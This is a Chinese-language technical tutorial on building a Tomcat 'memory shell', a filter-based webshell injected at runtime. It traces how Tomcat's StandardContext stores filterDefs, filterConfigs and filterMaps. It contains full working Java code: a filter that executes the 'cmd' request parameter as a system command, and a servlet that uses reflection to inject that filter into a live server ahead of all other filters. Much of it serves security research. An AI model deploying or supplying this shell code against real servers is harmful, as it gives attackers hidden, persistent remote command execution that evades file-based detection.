创建恶意filter
先获取参数cmd,再利用Runtime执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package com.example.myServlet;
import javax.servlet.*; import java.io.IOException; import java.io.InputStream; import java.util.Scanner;
public class FilterShell implements Filter { public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { if (request.getParameter("cmd") != null){ Process exec = Runtime.getRuntime().exec(request.getParameter("cmd")); InputStream inputStream = exec.getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("\\A"); String output = scanner.hasNext() ? scanner.next() : ""; response.getWriter().write(output); response.getWriter().flush(); } System.out.println("过滤器调用完毕,开始转发给Servlet..."); chain.doFilter(request,response);
}
public void destroy() {
}
}
|
添加filter到web.xml
内存马的一些问题
怎么创建内存马?
1 2
| 假设我们基于filter去实现一个内存马,我们需要找到filter是如何被创建的。 实战中不可能写一个filter对象再放到对方代码中。因此需要找到一个注入点,动态的在内存中创建一个filter对象,实现内存马。
|
如何动态的在内存中创建Filter对象?
Servlet 规范(应该是从3.0 开始)里面本身规定了一个名为ServletContext 的接口,其中有三个重载方法,这三个方法使得我们可以在运行时动态地添加过滤器。:
1 2 3 4 5
| FilterRegistration.Dynamic addFilter(String filterName,String className)
FilterRegistration.Dynamic addFilter(String filterName,Filter filter)
FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass)
|
如何调用ServletContext?
1
| 不能直接调用,tomcat只允许容器还没有初始化完成的时侯调用这个几个方法,初始化结束后再尝试调用会出现异常
|
ServletContext接口的实现类?
1
| org.apache.catalina.core.ApplicationContextFacade
|
一些相关类
ApplicationContext:是tomcat中ServletContext接口的实现,包含了StandardContext实例。
ApplicationContextFacade:在Web应用中,获取的ServletContext实际上是ApplicationContextFacade的对象,对ApplicationContext进行了封装。
StandardContext:Catalina主要包括Connector和Container,StandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。
一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。(Tomcat 默认的 Service 服务是 Catalina)
filter创建的过程
注意一下,开始调试之前要先添加tomcat的lib依赖,不然调试的时候找不到包
可以看到实际获取到的是一个ApplicationContextFacade对象,它对ApplicationContext
的实例进行了封装。
调用栈中的上一级是internalDoFilter
,打个断点看看它做了什么
org.apache.catalina.core.ApplicationFilterChain#internalDoFilter
这个方法获取之前实现的filter,并且调用其中的doFilter方法
org.apache.catalina.core.ApplicationFilterChain#doFilter
再上一级是doFilter
,这里调用了internalDoFilter
org.apache.catalina.core.StandardWrapperValve#invoke
再往上是StandardWrapperValve
的invoke
,调用filterChain.doFilter
filterChain的来源,由createFilterChain
创建
1
| ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
|
org.apache.catalina.core.ApplicationFilterFactory#createFilterChain
这里则会调用context.findFilterMaps()
从StandardContext
寻找并且返回一个FilterMap数组。
可以再filterMaps数组中找到之前添加的filter和URL映射关系
org.apache.catalina.core.StandardContextValve#invoke
再往上是调用管道的invoke方法
总结
1.org.apache.catalina.core.StandardContextValve#invoke
调用管道的invoke方法
2.org.apache.catalina.core.StandardWrapperValve#invoke
创建filterChain。调用filterChain.doFilter
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
filterChain.doFilter(request.getRequest(), response.getResponse());
2(1):org.apache.catalina.core.ApplicationFilterFactory#createFilterChain
调用context.findFilterMaps()
从StandardContext
寻找并且返回一个FilterMap数组。
遍历得到的FilterMap数组
匹配filter和url映射关系、判断filterConfigs中是否存在对应filter实例
判断通过后调用addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中。
3.org.apache.catalina.core.ApplicationFilterChain#doFilter
调用了internalDoFilter
4.org.apache.catalina.core.ApplicationFilterChain#internalDoFilter
获取已经实现的filter,并且调用其中的doFilter方法
Filter实例存储分析
org.apache.catalina.core.StandardContext
容器类负责存储整个Web应用程序的数据和对象,并加载了web.xml中配置的多个Servlet、Filter对象以及它们的映射关系。
里面有三个和Filter有关的成员变量:
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
filterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
filterMaps:一个存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
内存马实现
简单来说就是在运行动态添加一个filter
大致流程如下:
- 创建一个恶意 Filter
- 利用 FilterDef 对 Filter 进行一个封装
- 将 FilterDef 添加到 FilterDefs 和 FilterConfig
- 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
在StandardContext
类中, Filter实例存放在filterConfigs、filterDefs、filterConfigs这三个变量里面,将fifter添加到这三个变量中即可添加内存马。那么如何获取到StandardContext
成为了问题的关键。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115
| package com.example.myServlet;
import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.io.PrintWriter; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Map; import java.util.Scanner;
public class DemoServlet extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { Field Configs = null; Map filterConfigs; try { ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String FilterName = "cmd_Filter"; Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(FilterName) == null){ Filter filter = new Filter() {
@Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output);
return; } filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() {
} }; Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); Constructor declaredConstructors = FilterDef.getDeclaredConstructor(); FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance(); o.setFilter(filter); o.setFilterName(FilterName); o.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(o);
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor(); org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*"); o1.setFilterName(FilterName); o1.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(o1);
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class); declaredConstructor1.setAccessible(true); ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o); filterConfigs.put(FilterName,filterConfig); response.getWriter().write("Success");
} } catch (Exception e) { e.printStackTrace(); }
} protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { doPost(req,resp); }
}
|
成功添加了filter
参考链接
https://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw
http://m0d9.me/2020/09/27/Java%E5%86%85%E5%AD%98shell%EF%BC%9Aservlet/
https://www.cnblogs.com/nice0e3/p/14622879.html
http://li9hu.top/tomcat%E5%86%85%E5%AD%98%E9%A9%AC%E4%B8%80-%E5%88%9D%E6%8E%A2/
https://xiao-tan.xyz/2021/04/18/%E5%86%85%E5%AD%98%E9%A9%AC%E5%88%9D%E6%8E%A2-Filter/
http://wjlshare.com/archives/1529#0x04_Filter